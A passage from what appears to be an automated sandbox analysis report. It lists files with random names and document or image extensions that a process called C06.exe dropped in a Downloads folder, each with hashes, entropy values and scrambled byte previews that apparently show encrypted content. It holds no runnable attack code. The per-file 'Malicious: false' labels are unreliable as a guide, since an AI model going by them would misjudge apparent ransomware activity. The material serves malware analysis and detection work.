Malicious:	false
Reputation:	unknown
Preview:	FENIV...EP.A.........C..(.&3.X....>!.=....E...0.G....'.i.'.K.o^W#.........'....;G.X..}..^..{.....s....8...j`rhy.zoU........VW.m...EA.]$...p......SO_.?...a.....3...sy........&M.......z.i".....^.?..x...[..;..a8Ge]...dKM..,.........%1.)5I.:D5...E....n.D..(..#D2e.;....}..(...M.;.k.\>Z._.jj..........I".q..of.}.Bzn.....e.G._..F.N.M.Y?.]'.Yk^......?Q.....6.....NL.C.r...c...l.>'.B.Q.LO.M....r...2%[TP.v...qQ.....+9..oC........0bp...."P./k.....p.@.&~U...?.Q.K.....fc....I...{..+.L.X.rLAJ......}'f....X<...E...y.w.>.......r...Q..iX.i..D.A. .....p.........p....k....R.m.-..8/..!&9A..g.@.....H.............S.O!.[c$#-@..x$"..)].z......fz.B....`!g..>;..W...H#....i...c(4_w..<.i....}'......+f.r.G.w.wl....m..#..._cDE".>..gL0S.....W...."u.J$e...-.k.d...D.k.#_,X...hF....g...P'.PBp.+L;8n..X.F;0.V...io...U..A.G...O...3......U..3(......x.I8:.....Q..I.q0o.2...=.....`2..j....T...M..........\.#~..u.....2\........_..P.y......8:K~?....f:........f.....$...\Y{....qu.zL..f

C:\Users\user\Downloads\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8399916402710375
Encrypted:	false
SSDEEP:	24:LXN/BpHvL9fvWfnlU1+MGUf8lUsp6fAG/Tm948YsvsZCvry1Am6vmLXTUx9bD:LlvLofnlPM5f82xAN41qsf/6eLXIx9D
MD5:	0665B25276873B7E4481F34166293A67
SHA1:	BC1C7CF27401959FB4BED23D32F8DBEA6A01C1C6
SHA-256:	631A4A5DE2CCC7EC4BFE69B8C562FD59867FEC32FABF5F5CCFEF34A9283678F9
SHA-512:	C4FAC1F2CDE87061E2A00E42280CB8DFCDB90733E340BECE6BBC2263FFB4811D0D2E9DB512BC094C412C5364F94B86AC67381572C528F8EBE6534D8DCB91C6EF
Malicious:	false
Reputation:	unknown
Preview:	KATAX.....S..*......t..,.J.]....h...U.......{.1}tt+N..4...B..e..Ee....S...E......<...pT4.....V...\|...$Cyt..E...R...._..\|m..S......Oj..$.@A.....\?.x....D.`.t......g..o.Nx.H5....[.2.#......F.m...9..'...g<Y..d@ ^.....b...$.c...)(......F462'...1.k..d6.)..V.y..ow.....xF.Z....3.....9.)....).Z..5...M.#..d....C........x.+.c....En.xC]c.../...f=..1L...g...d^}.7;..8..f..:..z..y...0M...Si..M...t...3....n.^(.......-.."o...=....)@.>....V.S_,.....G,.Wr.}\|<..^x. ..m}......m6.F..1......R..B..H6.HM.".P.!9.M....&u.....).m.....<....TEe.+1..m.4.Ur......<..K).....>......o.n.I3g/mQ..a.U}CA.K.'...........>.%.Y.-......h.:.M.4"..B.;..)....)...u.~.&...q...'.....v$..d..).a......L..H=.7Hx.a.c.......!.z...^.....+2.0X....PYD......./...6.V......Q...2p'W...!.d..)d..........;.Y0M..5...CU4ms.'......F).i.e8......g..-}:.L...u..8U.g.<Z..a.0......9wP1...4..V_T.,sk.$G......_<M....H.....]...........u-.S.r.7.. .\lu...M....F...........E&..,.`.o%.$V........qC.J.3..i;.A..G

C:\Users\user\Downloads\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84897825619494
Encrypted:	false
SSDEEP:	24:Q+O0CagfFTTab4j+HnAac3wYJj0rxxtqiTv3N6u2O2SwgBYwdF8xobD:Qrag9WbgW8JwFrJrwqxYyD
MD5:	C070238C318DA226D0229C02CF566C0E
SHA1:	C6D09EDB672451ED82EA767FCF68B5FABC7BE3F6
SHA-256:	26C91A36EA9758E7F1CD3D93FA2DFE5D37E68736EAA8DCDA626426E4011D62DF
SHA-512:	6F6A18F64CB4631074417838F7419BE20320F582D2A6CB27BD9C615B83873C79C2C0F0765033941CCA63C6309074805C7F781BA140D0A4795723B17C7D42CD87
Malicious:	false
Reputation:	unknown
Preview:	KATAX..F........&PB....i.,.+..aI.?Tco...du3m..3JT....=01...V..8..y.L.4a..^......rR..%.}.....,........J..}..=G)..&.....Y.].o.%..?...U.`.M..9...}q.!+q.."....]....Xe...b.t..4.....22....."s..^@...Y..'....P.e...~.#.X.n&#.../p.Y..S.....I.&. .w.,Pv.XJ..J.;.S....`.Q....-...N.t..k...%.KJ..$..z4]W..jWu.#u$.[.7.C..o+^U...)r...........F.....U..A...n%.c..Lo/..0L In......!....A..."......0.#+...P.....\|R1?.BI#.u.......g...f..8#.4vD....q;._.....\|C..S.<=.....%&~.:t....R.s!.YH".....wc.[.....-..D.@.E.x/..fT-....dZ%O.Mc.S..:.4..S.\...B.9......)...M..[.3).....D.zb.S.n.$h!8%0-.Q.;.A.w..u...p1O._.6.y...We..H~g.....U...l....p......z.'.....nF..\|...)...4<,/h"aI..#...f}.U.rpG(.7....j...%&4R0.C7l.........N.....L..o.v.=.\I.m.,..(f.N.....w.F..i!.v.{.t...uj...m5[.....*=a...U..:../(.^.[..d.1...6B...g].P.KcE..C.k>.qe.F.6.4...3j/.;.L.-.0.]..".#(...C..:.....B.qb.............(.......DF^00.@Rfn..I....f..(V.k........&.2.=...rJ....~........y.c..S..x.&...7.j9.3

C:\Users\user\Downloads\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834085650566512
Encrypted:	false
SSDEEP:	24:2Rr1D/PxDpnqNIbZI2iwMualQjswNo/Jj3FaNwiwVJKMdY45Aoh0TbD:25FP7qNIbPiwMNejtgJj3FaNOJVdY45g
MD5:	1E39B38EC5CBB7A621F6B01E1B39A617
SHA1:	A2F2B406DB311099C25C59EDE177974FC564B565
SHA-256:	6B04503CED9CDA58560D806B10351452D723AC6E3CA8C1D03588F04F5C3652A6
SHA-512:	B3B4DB726C6FAD8109234EBD7D10445CCBFB2CB38FFD4C5628EBE9B9A85D1AA5E813CD7A77153A03479670858BF159BB54831539E24B1763E8FCB63B263763A6
Malicious:	false
Reputation:	unknown
Preview:	KATAX.h<..j....(.W..Z..d.hb.u...Q.e3._.M...6.t7......AL> u.05aam.Z=......a..)rW/....}......~+....2.O.g#lt.X@..5w.J=...z.._Z..p yK.9..^L...T.z....lj.W.tJ...LY......jh.....5H....;...^..r1.U4......J.2..$.s.Uc...,.l.Y...ro...s.zn9.1...w...A.....".......S.v...sS.../.......G?.0..`.H.9..>)W.......%`...'.4.....J....r......U..s"Jy..ap......8x3..L...-..\|7..C]V.]0............g.I..a.+...b..#..{;(~...O.H....A1.t"z+..........:........\|'...P..2>@.\X.I.. .....9R\|q=..x.....8.$...h..8..V.g......A.]qYF3q.H4y?!u.\w.-....O.z..p..5...7i...S....:....WGV.......>>.B.K......=.yF..&%.a..O0.z.z.n..O.._..._8..c=..U.....I..........t..2..:...\.y.......@.H.4%...AA:\|<b).....XC.h.T\\|.{O..5.."......."?..SmW.;...[f..}b.;.6q3.;....r...v. ..%A%C&..W4...sXG6.e"...,2.Y..B.vF.-.AuY\|........G..".:.\|.w.B.\...g.m..RA..lh..4Y...&.\|.zAy....*.Z....J.>....;......t.w.U+ .a......y/.P..>.w5r}b.d.%q..TZH:-.....6)..#=.^...?.....E:]&.G..K..)...Z..N..v..h.H..}..W..vf...,.....W..]2=.}a<.

C:\Users\user\Downloads\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848235717122576
Encrypted:	false
SSDEEP:	24:irpnhuNMwfiz8hrSSsHp7PbG8WGzuBWYXApv7brqsBUnukT4o4cjpLONbD:Ephk1fw8heSsHprWGqW/dZBUu3gOtD
MD5:	E9A17E9BB0317E53D3BC775AD824FC95
SHA1:	022813FE9F368DA9ACA8B5A5A804EBBF39258151
SHA-256:	1FB11E474161681EA8074C057C8C8E4F39051802CAA28F8DF0D07D1C6FBA6ED7
SHA-512:	B283AE3F9A59B3E02AE8DC6203BB15552BF4859A78F89B1C90430CCE1EDDE8309DCB4B9665836B356E1D4C798B28266695E45A53F9970CBC14DFC58B8DC35A40
Malicious:	false
Reputation:	unknown
Preview:	LTKMYi...bbNY.......Wp./B.......!."-.....2$A....(...x...}........l"....U?t.....n..CjJ.d..d.-.+...X.b"....U..D.8H..e7u...=#._..@...OY..........C.N6...6{:C=....Q1...BC.g..An...b..=..V..9..a/un.\|..w..E.. ..z....d.E...y..5K..B..y.?.tgK......kS.M...,B...K....B..SGbl...y@6.L..../v..........$...T.%.....p.,.Zl..B...+...?{[W:+...R....3.$.E.....o#.I.v.t....U...k.....T.L..?.+8CQj..#.a....=..................._..4..wc.it.Dss..."S..0..V:<....~k..gT...K...._....Z.Y...e..n.d.....a...}..'.<s.J.jC.D.&...wa...r.....N.7@-.^.)$Kp.K....Mk.....(.(.?...../....$.U...j..nK.1.g'...M.`....(>%J.7.U.N..am..U...0........bO....#`...AH.uy.=S.H...\R+...~$..F.@....hD...x....}P..}.~k.d.....0F,%.....0..B.s.8:.pBy0.(>......?....`C.bb.(B.."......Y7..!..Ujp...p.>~.X.-Q.~m..f...,8~.A39On.]P.I...s.. @vh..V....l&..g)..%..!...T1..8.....N....71..D.W..Rj6.....z..v..PH...}Uy..I.,r3[.."J.u.v3.z....1]j'...c...>..i7...E..;U.3wA........Tk.....N.....7GL...'.;

C:\Users\user\Downloads\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8671044366829745
Encrypted:	false
SSDEEP:	24:cEwn7TF7VhcZspWqbDRROZcWNdKvt2TQd5ANjehQ6eNJKdu6hIHGjPxju1kbD:cdnpVhcZsptbDRRNoU5J/enKdu6h5DpD
MD5:	2413CA7148D669807F25B3089F86BFFF
SHA1:	163BB2CDDCB5A043B5A4D92A82B796D2019B7178
SHA-256:	3BFB91B20482BD48E298385F07C4BF436358A4C2D411143C05B080F1803EBE6A
SHA-512:	4BD49FDB5D621D080D9F8091E2D108EF839717B85A467C2FB2ECD1DD29BB0FC3FA7BF830ECF9A24B0CC8B7CFBF5994CCE1500036446253738370A2F83895EEFE
Malicious:	false
Reputation:	unknown
Preview:	NIKHQ...L.=.K.b.....m..M.. .........0.F.M.v..H5(....-x.g..I.!....q....l.....X+.......E.%[:.J.~#T...Fb.....A@&B.K................Dv..\|.5.1H.@....i.u...\i...1.n.N.#}us8[.......i../.lh7...............:..j..'..I.a.\|..T<T...T.7.m.[h.AkYZ.&...2./t....).0.. x.*{I.....xU....+.Sh.vr..\|0A.M._'.0.V#.H...\A:W..p'...3...gq....UFj....&v..~Q.so`}...k.p.>!..gA.....JR.@yL.vN....-......y..$.$v.4.....6s.i..........{Et..i(}..;Y..%p.I.!.%cf.~ ...28}.=)..Z.3j0m.T.1!H./......vv'-...3.%...3.p.....q.....'.?.,V..........+2;.c.P.N..(. .Ns.:...Up.. `.W.2..$d.#.......dys.<8...f......KG..Eu.`...f..u.H<.<.Dv.....F...~;p.....Q.7...../.......v.h.......=.+....!.M../i...].Hy....e.m.mf9VAE.;Ti.1$.^n..u..].\.b{.....8..(F.@c.a...Vl.d6;r3T.lsV..4.E6...yqq...i...v..V.r..<c2.=..._.{......F(WL.p......z.u.m.I(^....;.9.&..f...O.."e.W..0..h.7f9Tr_=......r....g...i).E....p.o..\|w.<vm>.n}.y..9..M.%U.:.5Q}...F....n.,.x.PW\|Z.G.+..b".Cr.4WN........U......S@\....0..;.......l.gp&.Y.....$....

C:\Users\user\Downloads\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.880331517262994
Encrypted:	false
SSDEEP:	24:pqXcfzqcNcMxqo5J/3SYigl/2jAjVsiGkaIACSRPni0dosavFxoORWXy/IpHbD:ZOM48C/gBHEkLAfvi0djAlC4IpD
MD5:	80495C9258D52B883942F8CF6FCCBB9F
SHA1:	6FBFAE2F9B265A25C48F0B503FA0D11D5E7E9041
SHA-256:	4F21EFFF7233CE6A2CB13F665FB1B1F3D44EA22DE46A4C2E24444599A399EAF9
SHA-512:	0552BC74A949D56F53DDEDEA35935FAF26AB6DABAA4FE01681E65D4B866C1F9E323B2BC4AE37CAE1D48872D954C481EA48B8E03FDE7EDCE5896FEB9892FCD6FC
Malicious:	false
Reputation:	unknown
Preview:	NWTVCT..N.ya.....=...(.g.sW...i.C\..._....My..&....c._L...p.:...G.....}.J5,.kvx.X..{&...d.Ex.A.!..I.!.V ..q.v........5$.<..n'sD.....}....S.....P...e...q.(a2..#...t.#..Z/...s~..9.g3.p0.2.D@.D.g...v=.'#q....XZ...Yc?e\|.O...Y....l.Y.?...........6..P.J..Uqna.g...h.wLT.c>.%.....r.....X...T.....Nj.......S.S....K3p...fR.$.3?......).x........c_..O..?..W.3?.........Xe[(.....\|....u.....ENBU .D.^.....B..n.........L..7...!..#..B..@..+6?c.MHL.7.....Wx...{r...}.b........tI.t..T}I.6........6s..._q...^&$a.x..c.....f.w.h.D..K............D.H....mF $i...ZvOb.Mr_...s.H-M$..;..kf..tI......I_#F.3y2.P.D.j"f...f...._.......1h.R...........Y.x..G...8.5..QId.)xqb..x@.-;v...[..Y\v.1$>. /.?.J5........~$...[..U...9.C.B%..j.L. +...u...,....:..=......,"..l.F.e...SD.H.....l..M.....u.o)~..t..My.@E..l....+..S...q/....{0..d...T.+..O..g..........k.t\\v.,.a.4~5Y.V..6.g....'.pe.d.]i8`(....I.0...T..G.'.2.(.,....q.V..!3.(.%.......A<&........eh\|;.67GC.-.0.`i...!b.e..;

C:\Users\user\Downloads\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846224106617058
Encrypted:	false
SSDEEP:	24:Rue7Uz+VrsbSET83cB9m/bEVEaYMlsVahst6e//SSjgW8D9gKP0fKCtoRbD:Ruo6+q2EY3q0VaYm7Ot2BzqaD
MD5:	BE1561CBCF5478D74640EAC7D9AB9C07
SHA1:	95AE202A8FF0861767551456E6A0208925DAE668
SHA-256:	225F4D69A1E57AA47798E908F97C9C08276C470EA4DB3AC7AF5486EB731D90A0
SHA-512:	4ED2575E66F65152D17EDCAD771B661040B2EBE3063A28E0B47B31E287899847AF8C5BBEE0697248832F23C8170C8E74EA7F6DF40444BC29032981483AB4E60F
Malicious:	false
Reputation:	unknown
Preview:	ONBQC...~~...s<.$....~...5.!%so...;...<.I..,_A.-.{N}P.&.a.i.F.,.W...9..<m.MM...CR..].....k/z../X...X.}(~.%...VW.%.....T...7...n>.aJ...k.B...C....v7{Q......h......T>`...#...-.UI....<.@.....3f...Q...n.N...V....\|Z..xSCr...H.........7Q6.. ..}.T.^.._@....T......j..,...z...qP9..(?..&`ZE.V.E....-.$...Rb?Mg.qM...u...a.3w..}]..I.....</..$J.l..[Fp.E..U.."....I.$.....h$..7.?(.k..H......:..a..8.>.Hj.:da..*.>.....uXh..P...DL..5TxFI....."..\.6iB#....#[.Z...'c..7y...Y.q..x"IV.&.`..i."...A..r...j..D_."..`......Dd7...u..T..Iv,f...R..+..[I]../..MN.....Cz8...Y.+^.k$.a@...\|..)-..e.7.....\|a..#.i+.f\|..Gd.Z7q.q/.Q. M..5(.>...i. ......vU.X.zw95.....!.2.....]....&(.}..k................S...\.xv\|.....O...LSmC........z.B...J`(3[.....Z.I54.....D3..v....,....3.:_zdt.\.C...3..Za..Pv..).'e....m..z..EGk...(..`.ww.K...0:c......;.hvp.+[f.o.<..^^....&.".G....;7.....\|..C...IF+.<<^.E....Q..\. ..Z..>......\|...S.{..5.....b.lU9k94S........^..t..~...p......voE.]z.QM<..

C:\Users\user\Downloads\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8446554208734955
Encrypted:	false
SSDEEP:	24:f8oXJ10VaeAiPXqZBI63mO5ZQcy7V/94wQ647hSMkTYtlMAQTl+A9QYRHAibD:f8oZCVWiPXu6wW7V/9a640MHCFYwD
MD5:	102E7A89FAE004C705EB664DAB76884F
SHA1:	51FEB6B141334E950EC0FAFA00BE2CD09DF94451
SHA-256:	C6F37BEAB1A0DF1663E7887448BE8B4BC882A7596894E74E0DC2B142BE7F34FA
SHA-512:	D9756D2139838E88C6D5D87BCC2652A265F23CABFF88989C332996ED990FFFEB2ADA02B7A8F8E3D8C9D05CA534B812CF81A64F303A75CFCE072C8B54067C6F4A
Malicious:	false
Reputation:	unknown
Preview:	ONBQC).e...+>...../.".-.o.{O.&...T._M.b...%0\|q...[...........5..d.w8..h...7.0.S.....r-.)m.(.....L.%....-!.4K.0..l]4....4...zR-W..W.;..&...b=7......Qh'..R..u`I....\|..`.G.........\....fGH.!.,fS.I........t...R.m.Y...K........W.Sp....\|.2......K.....h.....y...t_./......}.@..B.........<..c;......pc.h.....!.....2.F...^3Z.Q.W.;....Tx.!.@;.....P)A<...tx.........xP5.(........^,..:0.B.{..P.....9..S.Aj2.A.6.?...q..qB.....z1T....o....]qo...7N..m..8....-..`...vx....~..D..<.R...J...O..!dz'k.7:...>.>....I.w..7.a..?E......;v..I..L....n.Q.....+.......S..+..DvBA).>\..<4...).{......a3.Fg.....n....J..{..Rt.U.#...,MK.....#./.6....../..rh....rB..tK.P.[..o....h...T..E../<....OQ.{(%...k......1~4.D.u.....\|.:!.X=Zze..B. ..VPAc.I.2.-#...d..E.Kx..X.H.e.%..9.$Z8.%.\|NN...I<{..-.G..^~.m....(..9...LW..wN1..M...*ou..}..U?Uk.h.m.{.]....c0#..VD>.}....Xb.1.U.vr.....I\D.g.n.....;.......q.....G..i.N.J....A........+e......9xK.......O8.DK.......9iE.....N/.(....

C:\Users\user\Downloads\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852332915681577
Encrypted:	false
SSDEEP:	24:47w35N9l32y7UtoKv/JfuZmrTa4rPbmt56B+AuZFbrQDQ2bD:ew35zt2cCvRumfaG4RAQQUkD
MD5:	F0540DC1935F095A20EA02DBCBFCE954
SHA1:	791F33E702038B5168982B2FBFF8B1DA60813746
SHA-256:	4D31ED22A1791F0A1EDFBED425F625C7294EAC828DF4EA0B6A9F01A174F8C73F
SHA-512:	1F5ED8C21E6E415B9A64EFF1052C41AAFCAD3A828C1378A4031245981E566343C637D7567A87229F796CDE8C8E4CF2BA89C96CBB2A2DB02D382D3D8185AF7FB3
Malicious:	false
Reputation:	unknown
Preview:	UMMBD...&...D"KvP.I\d.......4.\|..XzM........;\..P2.......8.%....PD...&6...1.&........7..F'i...\|._(T.^Q....i.g.t....>./...........d.....].8X...,i....L#.+6......h..6.i..M..BWt....9...0..3Ed.P..S....u......g{..(....Q\.B..\|2.O?LM6.....=...z...A_...0.d..<><...3.......6..}wqF...:.#f?..#....2..#.z.<]..61..%..M.Y[....4.g>....s7.^..%Z.R.{..z.;.,..W...U......K..O:.s.Z.....y.6.'...:.(-$....ND..o.........uCN.he..(^....t.....^y.coj..~.....kc.....u.....!Y-..VRh..p.m.ox..~Z.../)..`P..V~.2..h..J.'y.)..@......f@`...........E.b..IE._l....=.#<...Bg.=A._Q(...nc......../{.;.%..&."].0.O.b..KR...mx..G..1.l..49F...'k..x...\|.......Z....cs...9.n..G...C%.B...le..7j....p..x..<.>>.@{>@.....u.....e5....;.q.MCk.J.]...M(.v.?......V..h......%...dx<1]..4..9l.5.yH.?..4._...=...J&.hsO...H.k.1.m....u..U...c..`..M..[8...-n.P...2....-....9,]........f..3T.6{!!.nd...d..e...k..-.8M).jq.61......I'...'..mVVA$}.0i@..dB{E-.j.n.<......q..M^..1.....9...p...x..D..d.\|.~0.$...<k./G..A:

C:\Users\user\Downloads\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864621867461261
Encrypted:	false
SSDEEP:	24:XsHQggmf+y8H5a4/EqRiuANrz6wtw/WlpiV/dcfDrivGOPDR8A7GjqZQkbv5ivbD:XsHt+ySbTiuAQdOlQVGfDrivhDRb4qOf
MD5:	B91FEC389ECE5DD2744EFB925A55B344
SHA1:	041C5B91F9591916FF3E19A9EA79B7966390422E
SHA-256:	0C2912A0019B47640E9AA4507DF04337A94681E3D6F222271F06A6E0B80811EC
SHA-512:	86F9BCB75058E5AB96115E61C86D0E7DD077F147E183638C428B1BC5AC8BB70C0665CF8750ED6E8DAD39243BC115974813CA85D1A0244DC1C22D8D6C55364DA9
Malicious:	false
Reputation:	unknown
Preview:	VLZDGi..>x..V.&......Tj..._.G..<..<..o.....M>D!....l...`M...ybV.z...h/1..+.p...,.DZ.3..w3!.F.tN7...O.([.td..l..k.....r.u..G.........{WtYZ..q7P..D..zXa..5.%.>.8K...o..4....Q.....{.B..d..af..)l..X..1....y...jO...#.ZK@..i.....].f...K.\ ..N.%...........C.7.73.R.D\|......... .8./.\|.9.....(.W..=.......N....@YB.}.............@...o..A...4%.uk......f.C..-L.{.....ad..}...'.>.......... O.P2N.\|X..q.pY.\|D....nshx6...!...6.../R.....m\|'..`.....XVM.U...I:.%[.q....:....}\|.4.eH...6...L\j.\............\VVh.^...TMy4.G4.EG.{..i..].._...EI<.[.50....{..@>o7f.nbK..[...7....p...{m.[...u......<..$/8.:....2.m..4....Zd....j.eh....01...\...Y.8.....%b.'..x.....x9\..14T.T..(j....^B..)Dmo..:...f...@.$........j...t..%.</...8{..o.(..f.*T._=....e.J..T."/=cO..Y.=.E ......84.zr..F..s........u2..,~.e.N... m.._......a8.W.r.;.....q.V..>.b.....m.....d...9.r...$y..t...L..h..(cU....E>T.2..w..>7.k.E.q..<Q....u..8..B...$d.....#...B..K...;`.(u...."..#..\|....\../.!..Y..]......

C:\Users\user\Downloads\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869862286677738
Encrypted:	false
SSDEEP:	24:fDRx+WV/nCSMy3zRZdrjz5yx7RYs6HRpLQOlkla8f3OFbwUnk/yV1qAzSgQG8+bD:LRV1T73zDdrj8x7YxZZl0a8f3ORIyV19
MD5:	DE48DA51E7D2B04BC9FBAC84A0C99275
SHA1:	2F44AE9359AD9842B5F3D83F39792068A7C65BDF
SHA-256:	BA092B3E61DA93490748A85243A246A25209C6A5E14B0A129BD607F6F65BD3A9
SHA-512:	6CA47297E36098D4D6FAAB4004F3A64A7CFA8367DBA0C6CAB2E36418AF93F8B3F4EDCF8301D8F1344E3DF9BA09447C3BC6809F68AF59ADD2313A316B4ED09365
Malicious:	false
Reputation:	unknown
Preview:	VLZDGc\..3.j....3...K...0....M..?m..i.%#...t...Y.6.<E..AN....6J..M.u....K...[.hq<.ss...b....'.WU.)l'-.3.r....q.E.k..K7.(.U....L,...H...&5.-........F.>...'?9s.a.I&..&....;p.%.!.VL....S.....:......0.......5:Nm\....nR.oS.+........7{...}k....g.nNv.f.iv.b..."......m..C..E.I.lw..,8.q.^... P/.<...W.r.q..-\|8...P.H......RF..:R...~D.E..C)...\.\.@{.....'.Q..+.h...:k...r].:&..E.+]_... .Xf.,....N..U..hX}.p............d.........+...G...-.).e.\Y..e..../.....h>U.2.........,.0Un....<..Z,...1dX..FiEI....:O;...J.86..xK._NQ<.LSi=)....8..`\..(.f8....X...Y....?...X{....`=.x].h..1.T..b.MT.c.hh..1.O......$.2D.3Kk....LH.{/..^...e;.g.=Kl{.S..T0....N..3x.;p...U.g..+.=...1.H&..C.....i:..!....D.......YP.=c.Z`...-.V.g.e.F...\=.`.'....{..I..i.%........5.%.....Ta...f.....1&.1......6.N......z.y.R...6...V...#P&p.\|..#z..R+R.R.I.w))..b.....tu..<.=\|.......VA,..)....r.uFm.~m....e.C...x.....6....v...K&Y.e/..@}*D..c<.dy....Q.U.2..q../...'y+w4..K..........:..8......X....._.mV..c;..

C:\Users\user\Downloads\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8489396069913075
Encrypted:	false
SSDEEP:	24:a2nCtrgiT4neE7GtyapV5y8y/5wocmO9Zs9dnLXs84ta7zsVuPjLGiqSHKvbD:a2CB+TzSyr5wocmO9ZEdI84oXsVuPjS5
MD5:	73EEF59C7AC17778D4D0996D97787931
SHA1:	79510D9EDCAF17CA6A064F03DF482CF865D4774D
SHA-256:	9CD11198410839E644B57E7021CF6BA52554542818CF6A5666F8E3EA10F99B93
SHA-512:	3F15D56644E57C1A0CC950061FFB1D176CB53F7C9183B0432DA6B1158C9265DE598BC8B72099CF1D05F4A6865CD739CEC394A91A335FF4D90D9C2BFDE25CE138
Malicious:	false
Reputation:	unknown
Preview:	XZXHA.Y.t....o2$i.N..y...;..D..;.......C....?f..Y.o..}x.!....G.<.I.u+.4....;.....oj.$B..W..1...iK^.+.....12.:V..".D......<....^Q........M.Zao ..>CDK..S..s=...S.\|G..%...)....w..=.#.,-kih.\.q....A?5.\.. C......T..p..5..r..n.....+....g..B=.....O...Q...Z..hJjT...G9...`..O...hI....J]..a>g/.f...S......&....u+......]..(...h_.....t J.Q.cw.].p.oMy.h.g.wO....{..{..SR..z)=.E...w.W,.3,\.2.h.7j..0..xs.`..9...O'.to.OK.+-@....}[..\.....\+e#a.M.N>.((.oK).....d..1....f...q...z....`.....w.-qer.,.Zq...=`9J..9.@.J..[V.]k....#.F,..,k[....[lGu....)p....(B;.J..x..F..j#..R.......s.,.....\\|....f...,..6=.T.iqJ..Y...;\|j..r1.}_..i.1..:H...'.NQo.QN..33..n..\|..R."..........Q...g.../....\|.._..W.......F.Ce^...M.....l.....#_8....P.\..-F...\|;....b8.h...O3M$..K.D.a.Wi..Oq...T...r..?..>.X....AY..KB. ?>u.h.........CJ.....x....p.g.W.Z.`D....oZ0..5..............h#.CN........S....,..../..#E.T...$.._Af.?4..<W..3>:.........3.....Q...C.Y...&Qw.?y.,;.....A\l...p{..=

C:\Users\user\Downloads\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843543086803108
Encrypted:	false
SSDEEP:	24:pvdXIC3stdL4grUtSFoOJVLbcVbZwyQAIkXjG4CKt+HG3+mbD:lZh3stygrnTJVyJaPm+0D
MD5:	3412A49E767A18CC0AA12F934118D8F4
SHA1:	9A54882FF9379B2E57E2015D4D23914B05BD9773
SHA-256:	27890CD23745657760B483A2C113F02C1035CD3265BEAB30A7DB10E842E6224B
SHA-512:	5EB3576F256C65D646F5FA1B257E7129A5A38BB0EE21ADAA25B6019CA35883B5A36656517358F72A349E59F818212DAEA4299B08FC8DC447F7B76EA82EBDB4A4
Malicious:	false
Reputation:	unknown
Preview:	XZXHA......%....._&.Q..n._....".......w.p...1.x. }..W.F.@GJ.V.....z...rC.%.!......1..e,.....f...:v]..?.W3..}N.*.-..;f_.2.~.sm\sx=..m~.W..X^.....S....(..R...Vv.#L.@ 4e.bi...Y...AC.a..a......... @uAG.,.y..)BV./...bpf...D.^H.y.E..C.H....I...L7H..Z.Q.:b........[,$D...........T.+ap.?5V.}..F......D......\...b..8...c.U.H..?..TF.-.v.$"...0.:.3W8......H..p.k.g.c5.;!.@..)on.v....c.....d..e~..3.........\|.;(....un..Py.vG..p......b.=%..>....p.......%7.......Mi`...H..t.GJ.~.Y..n..~.&:._,...J.?>WS..E..nB..AC...p..L'.B.......I....>$..e..0(!rW..#..u...'..........Krv4.c....."...b\J.H.........4..._7..K,....rX.).B...8%TY..N...H.\|....pX.....yI.hz.....3.d.....^..g...........?g..<...^.....0..tZG..<+hNF8!..Vt.g}5-.r......"e..-..._s..........).....^.q.<o.D.4.h>}...xf.........u`bK..DW5..098uk......E.\|.........O..]S......k..j.'5...^jB...7P.....@......./..~.ci....#.....i?.b..\u.....1..,...J.....V.....M.w..YM...."r...1..V....e...7.....`..)..B.A..C)3..O.N,.@.u.clO

C:\Users\user\Downloads\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843890806420896
Encrypted:	false
SSDEEP:	24:WN9Fwk9tetmTgwaAwVQRumImG+gnq1QXqsKT5aZK7bD:WNjw9DwaNScm0q11sKT5aZED
MD5:	AD313D43BDB0857A9D04471DFF53D162
SHA1:	2BE3693408DFD248CCC97B4A47171C8C2527C264
SHA-256:	EA8B689D71C627CCF0C6271A65CBBBE5CEF56DF8BBB7D776DB080145261BEE55
SHA-512:	E7CEB7F9BFDC6EE9A37517A56CDCAC6F08C54CDFD5117E6789E38DC896E6971F89E70683648A05ED11230CE9C7D2F7A161DD96856FBD3642E99D3EE72E7FFAB5
Malicious:	false
Reputation:	unknown
